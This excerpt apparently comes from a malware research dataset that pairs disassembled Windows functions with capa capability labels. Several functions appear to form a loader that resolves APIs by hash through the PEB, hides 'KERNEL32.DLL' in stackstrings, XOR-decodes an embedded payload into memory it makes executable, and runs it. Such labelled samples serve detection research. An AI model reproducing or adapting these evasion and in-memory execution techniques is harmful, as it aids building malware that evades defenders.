joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003a130
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5ca8], 0
lea rbx, [rcx + 0x5cb0]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x14003a1d7
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14003a18a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14003c650
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140023f30
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5ca8]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5cb8]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x1400c0e78]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14003a1df
mov rcx, rbx
call fcn.140023f30
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x14003a660
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x1400c16e8]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x14003a6c3
mov qword [rsp], rbx
lea rbx, [0x1400990d0]
nop dword [rax]
cmp r9b, 0x23
jne 0x14003a6a3
cmp byte [r8], r9b
jne 0x14003a6a3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x14003a690
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5c20]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x14003a6f7
mov r10, qword [r10 + 0x5c28]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x14003a6fe
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x14003a6e4
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140066a20
Capabilities:
Hash data with crc32

Disassembly:
push rdi
sub rsp, 0x20
test dword [rcx + 0x10], 0x100000
mov rdi, rdx
je 0x140066aac
movzx r9d, byte [rdx]
lea r8, [rdx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x140066a80
lea r11, [0x1400990d0]
nop
cmp r9b, 0x23
jne 0x140066a63
cmp byte [r8], r9b
jne 0x140066a63
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140066a50
mov rcx, qword [0x1400c16e8]
not eax
cmp dword [rcx + 0x3f58], eax
jne 0x140066a97
mov dword [rcx + 0x3f5c], eax
cmp dword [rcx + 0x3f88], eax
jne 0x140066b09
mov byte [rcx + 0x3f8c], 1
add rsp, 0x20
pop rdi
ret
mov rax, qword [0x1400c16e8]
xor edx, edx
mov qword [rsp + 0x30], rbx
mov rcx, rdi
mov qword [rsp + 0x38], rsi
mov rbx, qword [rax + 0x3ef8]
movsxd rax, dword [rbx + 0xf0]
mov r8, qword [rbx + 0xf8]
mov r8d, dword [r8 + rax*4 - 4]
call fcn.1400234f0
mov rcx, qword [rbx]
mov esi, eax
mov rbx, qword [rsp + 0x30]
cmp dword [rcx + 0x3f40], eax
jne 0x140066b02
mov r8, rdi
mov edx, reloc.WS2_32.dll_inet_addr
mov ecx, eax
call fcn.14003b900
mov eax, esi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140070610
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x30
mov rdi, rcx
lea rcx, [rsp + 0x40]
call fcn.140001b30
mov edx, dword [rdi + 0x30]
mov rcx, qword [0x1400d4b28]
call fcn.140005e30
test al, al
je 0x140070782
mov rcx, qword [rsp + 0x40]
mov eax, 0x3e8
cdq
mov r8, rcx
idiv dword [rdi + 0x68]
sub r8, qword [rdi + 0x58]
movsxd rdx, eax
imul rax, rdx, 0xf4240
cmp r8, rax
je 0x140070664
jl 0x140070782
mov rdx, qword [0x1400bf820]
xor r11d, r11d
mov r10, qword [0x1400bf818]
movabs rax, 0x358ae0358ae0358b
sub rdx, r10
mov qword [rsp + 0x48], rbx
imul rdx
mov ebx, r11d
sar rdx, 8
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x1400706ce
mov r9d, dword [0x1400c0d64]
lea r8, [r10 + 0x20]
nop dword [rax + rax]
mov eax, dword [r8]
and eax, 0x7fff
cmp rax, r9
je 0x1400706d9
inc ebx
add r8, 0x4c8
movsxd rax, ebx
cmp rax, rdx
jb 0x1400706b0
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp byte [rdi + 0x6c], r11b
je 0x1400706f6
movsxd rax, ebx
imul rdx, rax, 0x4c8
mov eax, dword [0x1400bf378]
cmp dword [rdx + r10 + 0x28], eax
je 0x1400706ce
cmp dword [rdi + 0x60], ebx
je 0x14007071a
lea rcx, [rsp + 0x40]
call fcn.140001b30
mov rcx, qword [rax]
mov dword [rdi + 0x60], ebx
mov rbx, qword [rsp + 0x48]
mov qword [rdi + 0x50], rcx
add rsp, 0x30
pop rdi
ret
movsxd rax, dword [rdi + 0x64]
sub rcx, qword [rdi + 0x50]
imul rax, rax, 0xf4240
cmp rcx, rax
je 0x140070730
jl 0x1400706ce
mov ecx, dword [0x1400c1770]
test ecx, ecx
je 0x140070748
cmp ecx, 1
jne 0x140070766
lea r8, [0x14001dea0]
jmp 0x14007074f
lea r8, [0x14001cdf0]
mov qword [rsp + 0x28], r11
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r11d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rsp + 0x40]
call fcn.140001b30
mov rbx, qword [rsp + 0x48]
mov rcx, qword [rax]
mov qword [rdi + 0x58], rcx
add rsp, 0x30
pop rdi
ret
mov dword [rdi + 0x60], 0xffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x140075754
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14007578e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140075793
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400757dc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14007abf0]
cmp byte [rcx + rax], 0
je 0x1400757dc
dec r8
sub rdx, 1
jne 0x1400757c2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140075dcc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.1400757f4
mov ebx, eax
test eax, eax
jne 0x140075dfc
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x140075e5f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140075e56
test al, 0x10
je 0x140075e56
bt eax, 0xa
jae 0x140075e4f
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.140075e70
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x140075e4b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140075e4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x140075e56
and dword [rsp + 0x3c], 0
jmp 0x140075e5b
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140076f4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140076f96
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140076f96
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140076f96
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140076f96
cmp dword [rcx + 0x84], 0xe
jbe 0x140076f96
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140076f98
xor al, al
add rsp, 0x28
ret
Function at 0x180001000
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x200
mov rax, qword gs:[0x60]
mov rbx, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov r11, qword [rdi]
cmp r11, rdi
je 0x180001207
movzx esi, byte [rcx]
nop word [rax + rax]
mov r9, qword [r11 + 0x40]
lea rax, [rsp + 0x100]
xorps xmm0, xmm0
xor ecx, ecx
xor r8d, r8d
movups xmmword [rax], xmm0
movzx edx, word [r9]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmmword [rax - 0x10], xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov qword [rax + 0x70], rcx
mov dword [rax + 0x78], ecx
mov word [rax + 0x7c], cx
mov byte [rax + 0x7e], cl
lea rax, [rsp]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmmword [rax - 0x10], xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov qword [rax + 0x70], rcx
mov dword [rax + 0x78], ecx
mov word [rax + 0x7c], cx
mov byte [rax + 0x7e], cl
test dx, dx
je 0x18000111c
nop
cmp dx, 0x5c
mov rax, rcx
movzx edx, word [r9 + rcx*2 + 2]
cmovne rax, r8
inc rcx
mov r8, rax
test dx, dx
jne 0x180001100
movzx eax, word [r9 + r8*2 + 2]
lea rdx, [r8 + 1]
test ax, ax
je 0x180001154
lea r8, [rsp + 0x100]
sub r8, rdx
lea ecx, [rax - 0x41]
cmp cx, 0x19
ja 0x180001143
add ax, 0x20
mov byte [r8 + rdx], al
inc rdx
movzx eax, word [r9 + rdx*2]
test ax, ax
jne 0x180001136
test sil, sil
je 0x180001198
lea r10, [rsp]
movzx r8d, sil
sub r10, rbx
mov r9, rbx
nop word [rax + rax]
lea eax, [r8 + 0x20]
lea edx, [r8 - 0x41]
movzx ecx, al
cmp dl, 0x19
movzx eax, r8b
movzx r8d, byte [r9 + 1]
lea r9, [r9 + 1]
cmova ecx, eax
mov byte [r10 + r9 - 1], cl
test r8b, r8b
jne 0x180001170
xor edx, edx
xor eax, eax
cmp byte [rsp + 0x100], al
je 0x1800011bc
nop word [rax + rax]
inc rdx
cmp byte [rsp + rdx + 0x100], al
jne 0x1800011b0
cmp byte [rsp], al
je 0x1800011ca
inc rax
cmp byte [rsp + rax], 0
jne 0x1800011c1
cmp rax, rdx
jne 0x1800011fb
xor ecx, ecx
test rdx, rdx
je 0x1800011f5
nop word [rax + rax]
movzx eax, byte [rsp + rcx]
cmp byte [rsp + rcx + 0x100], al
jne 0x1800011fb
inc rcx
cmp rcx, rdx
jb 0x1800011e0
mov rax, qword [r11 + 0x20]
jmp 0x180001209
mov r11, qword [r11]
cmp r11, rdi
jne 0x180001040
xor eax, eax
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180001490
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rbx, rcx
mov dword [rbp - 0x19], 0x4e52454b
lea rcx, [rbp - 0x19]
mov dword [rbp - 0x15], 0x32334c45
mov rsi, rdx
mov dword [rbp - 0x11], 0x4c4c442e
mov byte [rbp - 0xd], 0
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0xb45b1d22
call fcn.180001220
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rsi
lea rcx, [rdx - 1]
call rax
mov rdi, rax
test rax, rax
je 0x18000167c
xor r8d, r8d
mov rdx, rsi
mov dword [rbp + 0x77], r8d
mov rcx, rax
test rsi, rsi
je 0x180001530
sub rbx, rax
nop dword [rax]
movzx eax, byte [rbx + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x180001520
xorps xmm0, xmm0
mov qword [rbp - 9], 3
lea rcx, [rbp - 0x19]
movdqa xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x37], 0x48
mov qword [rbp - 1], r8
mov qword [rbp + 7], r8
mov qword [rbp + 0xf], r8
mov qword [rbp + 0x27], r8
mov dword [rbp + 0x2f], r8d
mov dword [rbp + 0x33], 1
mov dword [rbp - 0x19], 0x4e52454b
mov dword [rbp - 0x15], 0x32334c45
mov dword [rbp - 0x11], 0x4c4c442e
mov byte [rbp - 0xd], r8b
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0xf882481e
call fcn.180001220
lea r8, [rbp - 9]
xor edx, edx
mov rcx, rdi
call rax
mov r14, rax
test rax, rax
je 0x18000167c
lea rcx, [rbp - 0x19]
mov qword [rbp + 0x7f], 0xfffffffffd050f80
mov dword [rbp - 0x19], 0x4e52454b
mov dword [rbp - 0x15], 0x32334c45
mov dword [rbp - 0x11], 0x4c4c442e
mov byte [rbp - 0xd], 0
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0x6573e7ac
call fcn.180001220
lea rdx, [rbp + 0x77]
mov r9d, 0x40
mov qword [rsp + 0x20], rdx
mov r8, rsi
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call rax
lea rcx, [rbp - 0x19]
mov dword [rbp - 0x19], 0x4e52454b
mov dword [rbp - 0x15], 0x32334c45
mov dword [rbp - 0x11], 0x4c4c442e
mov byte [rbp - 0xd], 0
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0xc12cd209
call fcn.180001220
lea rcx, [rbp - 0x19]
mov dword [rbp - 0x19], 0x4e52454b
mov rbx, rax
mov dword [rbp - 0x15], 0x32334c45
mov dword [rbp - 0x11], 0x4c4c442e
mov byte [rbp - 0xd], 0
call section..text
mov rcx, rax
mov r8, rbx
mov edx, 0x7d4e6c2a
call fcn.180001220
xor r9d, r9d
lea rdx, [rbp + 0x7f]
xor r8d, r8d
mov rcx, r14
call rax
jmp 0x18000167e
xor eax, eax
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1800016a0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x4e52454b
mov dword [rbp - 0xc], 0x32334c45
mov dword [rbp - 8], 0x4c4c442e
mov byte [rbp - 4], 0
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0xb45b1d22
call fcn.180001220
mov r15, 0xffffffffffffffff
mov dword [rsp + 0x20], 4
mov rcx, r15
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1b58
call rax
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x4c44544e
mov dword [rbp - 0xc], 0x4c442e4c
mov word [rbp - 8], 0x4c
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0x52c739b1
call fcn.180001220
xor ebx, ebx
mov dword [rbp - 0x10], 0x4e52454b
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x30], rbx
mov byte [rbp - 4], bl
mov r14, rax
mov dword [rbp - 0xc], 0x32334c45
mov dword [rbp - 8], 0x4c4c442e
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0xb45b1d22
call fcn.180001220
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x19600
mov rcx, r15
call rax
mov rsi, rax
test rax, rax
je 0x180001951
mov rdi, rax
lea r12, [0x180000000]
nop word [rax + rax]
mov rcx, qword [rbx + r12 + 0x44000]
lea rdx, [rbp + 0x30]
mov r8, rdi
call r14
test eax, eax
jne 0x180001951
add rdi, 0x10
add rbx, 8
cmp rbx, 0xcb00
jb 0x1800017b0
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x4e52454b
mov dword [rbp - 0xc], 0x32334c45
mov dword [rbp - 8], 0x4c4c442e
mov byte [rbp - 4], al
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0xb45b1d22
call fcn.180001220
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x19600
mov rcx, r15
call rax
mov r10d, 1
mov r11d, 2
sub r10, rax
sub r11, rax
sub rsi, rax
mov r8, rax
sub r15, rax
lea r9, [rax + 1]
movabs rbx, 0x2b97d835d548d9ad
lea rcx, [r9 + r15]
mov rax, rbx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xc
imul rax, rax, 0x1b58
sub rcx, rax
movzx eax, byte [rcx + r12 + 0x41660]
mov rcx, r9
xor al, byte [r9 + rsi - 1]
sub rcx, r8
mov byte [r9 - 1], al
mov rax, rbx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xc
imul rax, rax, 0x1b58
sub rcx, rax
movzx eax, byte [rcx + r12 + 0x41660]
lea rcx, [r9 + r10]
xor al, byte [r9 + rsi]
mov byte [r9], al
mov rax, rbx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xc
imul rax, rax, 0x1b58
sub rcx, rax
movzx eax, byte [rcx + r12 + 0x41660]
lea rcx, [r9 + r11]
xor al, byte [rsi + r9 + 1]
mov byte [r9 + 1], al
mov rax, rbx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xc
imul rax, rax, 0x1b58
sub rcx, rax
movzx ecx, byte [rcx + r12 + 0x41660]
xor cl, byte [rsi + r9 + 2]
mov byte [r9 + 2], cl
add r9, 4
lea rcx, [r9 + r15]
cmp rcx, 0x19600
jb 0x180001850
mov edx, 0x19600
mov rcx, r8
call fcn.180001490
mov eax, 1
jmp 0x180001953
xor eax, eax
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x180001980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x4e52454b
mov dword [rbp - 0x1c], 0x32334c45
mov dword [rbp - 0x18], 0x4c4c442e
mov byte [rbp - 0x14], 0
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0xd32531
call fcn.180001220
call rax
mov rbx, rax
movzx eax, word [rax]
test ax, ax
je 0x180001af7
mov qword [rsp + 0x50], rdi
cmp ax, 0x20
jne 0x180001ae1
add rbx, 2
cmp word [rbx], 0x53
jne 0x180001ae1
cmp word [rbx + 2], 0x65
jne 0x180001ae1
cmp word [rbx + 4], 0x63
jne 0x180001ae1
cmp word [rbx + 6], 0x75
jne 0x180001ae1
cmp word [rbx + 8], 0x72
jne 0x180001ae1
cmp word [rbx + 0xa], 0x65
jne 0x180001ae1
cmp word [rbx + 0xc], 0x31
jne 0x180001ae1
cmp word [rbx + 0xe], 0x32
jne 0x180001ae1
cmp word [rbx + 0x10], 0x33
jne 0x180001ae1
cmp word [rbx + 0x12], 0x38
jne 0x180001ae1
cmp word [rbx + 0x14], 0x39
jne 0x180001ae1
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x4e52454b
mov dword [rbp - 0x1c], 0x32334c45
mov dword [rbp - 0x18], 0x4c4c442e
mov byte [rbp - 0x14], 0
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0xe47d53a4
call fcn.180001220
lea r9, str.rpoc
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rax
mov rdi, rax
call fcn.1800016a0
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x4e52454b
mov dword [rbp - 0xc], 0x32334c45
mov dword [rbp - 8], 0x4c4c442e
mov byte [rbp - 4], 0
call section..text
mov rcx, rax
xor r8d, r8d
mov edx, 0x4e172f22
call fcn.180001220
mov edx, 0xffffffff
mov rcx, rdi
call rax
movzx eax, word [rbx + 2]
add rbx, 2
test ax, ax
jne 0x1800019d5
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rbp
ret
Function at 0x140001050
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x88
xor eax, eax
mov r14, r8
mov rbx, rdx
mov qword [rsp + 0x50], rax
mov rdi, rcx
mov qword [rsp + 0x58], rax
lea rdx, str.1.2.13
mov qword [rsp + 0x60], rax
lea r8d, [rax + 0x58]
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov rsi, r9
mov ebp, eax
call fcn.140009990
mov r15d, eax
test eax, eax
je 0x1400010d3
lea rdx, [rbx + 0x12]
mov r8d, eax
lea rcx, str.Failed_to_extract__s:_inflateInit___failed_with_return_code__d__n
call fcn.140001c50
lea eax, [rbp - 1]
add rsp, 0x88
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov ecx, 0x2000
mov qword [rsp + 0x80], r13
call fcn.14001414c
mov r13, rax
test rax, rax
jne 0x140001109
lea r8, [rbx + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_allocate_temporary_input_buffer__n
lea rcx, str.malloc
call fcn.140001c10
jmp 0x14000126c
mov ecx, 0x2000
call fcn.14001414c
mov rbp, rax
test rax, rax
jne 0x140001137
lea r8, [rbx + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_allocate_temporary_output_buffer__n
lea rcx, str.malloc
call fcn.140001c10
jmp 0x14000126c
mov qword [rsp + 0xd0], r12
mov r12d, dword [rbx + 8]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi]
mov eax, 0x2000
cmp r12, rax
mov rbx, r12
mov edx, 1
mov rcx, r13
cmova rbx, rax
mov r8, rbx
call fcn.14000e95c
cmp rax, rbx
jne 0x14000125e
mov rcx, qword [rdi]
call fcn.14000e6d0
test eax, eax
jne 0x14000125e
sub r12, rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r13
nop word [rax + rax]
mov ebx, 0x2000
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x38], ebx
lea rcx, [rsp + 0x20]
call fcn.140007de0
mov edi, eax
mov r15d, 0xffffffff
lea ecx, [rax + 4]
cmp ecx, 2
jbe 0x140001241
cmp eax, 2
je 0x14000123c
mov ecx, dword [rsp + 0x38]
sub rbx, rcx
test r14, r14
je 0x140001203
mov r9, r14
lea edx, [r15 + 2]
mov r8, rbx
mov rcx, rbp
call fcn.14000f09c
cmp rax, rbx
jne 0x1400011fe
mov rcx, r14
call fcn.14000e6d0
test eax, eax
je 0x140001219
mov edi, r15d
jmp 0x140001241
test rsi, rsi
je 0x140001219
mov r8, rbx
mov rdx, rbp
mov rcx, rsi
call fcn.14000aec0
add rsi, rbx
cmp dword [rsp + 0x38], 0
je 0x1400011a0
cmp edi, 1
je 0x140001237
test r12, r12
je 0x140001241
mov rdi, qword [rsp + 0xc0]
jmp 0x140001150
xor r15d, r15d
jmp 0x140001264
mov edi, 0xfffffffd
mov rdx, qword [rsp + 0xc8]
lea rcx, str.Failed_to_extract__s:_decompression_resulted_in_return_code__d__n
add rdx, 0x12
mov r8d, edi
call fcn.140001c50
jmp 0x140001264
mov r15d, 0xffffffff
mov r12, qword [rsp + 0xd0]
lea rcx, [rsp + 0x20]
call fcn.140009670
mov rcx, r13
call fcn.140014138
mov rcx, rbp
call fcn.140014138
mov r13, qword [rsp + 0x80]
mov eax, r15d
add rsp, 0x88
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400012b0
Capabilities:
Read file on windows

Disassembly:
push rsi
push r14
sub rsp, 0x28
mov rax, qword [rcx]
mov rsi, rdx
mov r14, rcx
test rax, rax
jne 0x1400012f8
add rcx, 0x78
lea rdx, [0x14002a570]
call fcn.140002de0
mov qword [r14], rax
test rax, rax
jne 0x1400012f8
lea rdx, [rsi + 0x12]
lea rcx, str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.140001c50
xor eax, eax
add rsp, 0x28
pop r14
pop rsi
ret
mov edx, dword [rsi + 4]
xor r8d, r8d
add rdx, qword [r14 + 8]
mov rcx, rax
call fcn.14000ec94
test eax, eax
jns 0x14000132f
lea r8, [rsi + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
lea rcx, str.fseek
call fcn.140001c10
xor eax, eax
add rsp, 0x28
pop r14
pop rsi
ret
mov ecx, dword [rsi + 0xc]
mov qword [rsp + 0x20], r15
call fcn.14001414c
mov r15, rax
test rax, rax
jne 0x140001364
mov r9d, dword [rsi + 0xc]
lea r8, [rsi + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_allocate_data_buffer___u_bytes___n
lea rcx, str.malloc
call fcn.140001c10
jmp 0x140001414
cmp byte [rsi + 0x10], 1
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], r12
jne 0x140001395
mov r9, r15
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call fcn.140001050
test eax, eax
je 0x140001400
jmp 0x1400013f5
mov ebx, dword [rsi + 0xc]
mov rbp, r15
test rbx, rbx
je 0x140001400
mov r12d, 0x2000
nop word [rax + rax]
mov r9, qword [r14]
cmp rbx, r12
mov rdi, rbx
mov r8d, 1
cmova rdi, r12
mov rcx, rbp
mov rdx, rdi
call fcn.14000e95c
cmp rax, 1
jb 0x1400013de
add rbp, rdi
sub rbx, rdi
jne 0x1400013b0
jmp 0x140001400
lea r8, [rsi + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_read_data_chunk__n
lea rcx, str.fread
call fcn.140001c10
mov rcx, r15
call fcn.140014138
xor r15d, r15d
mov rdi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov r12, qword [rsp + 0x58]
mov rcx, qword [r14]
test rcx, rcx
je 0x140001428
call fcn.14000e60c
mov qword [r14], 0
mov rax, r15
mov r15, qword [rsp + 0x20]
add rsp, 0x28
pop r14
pop rsi
ret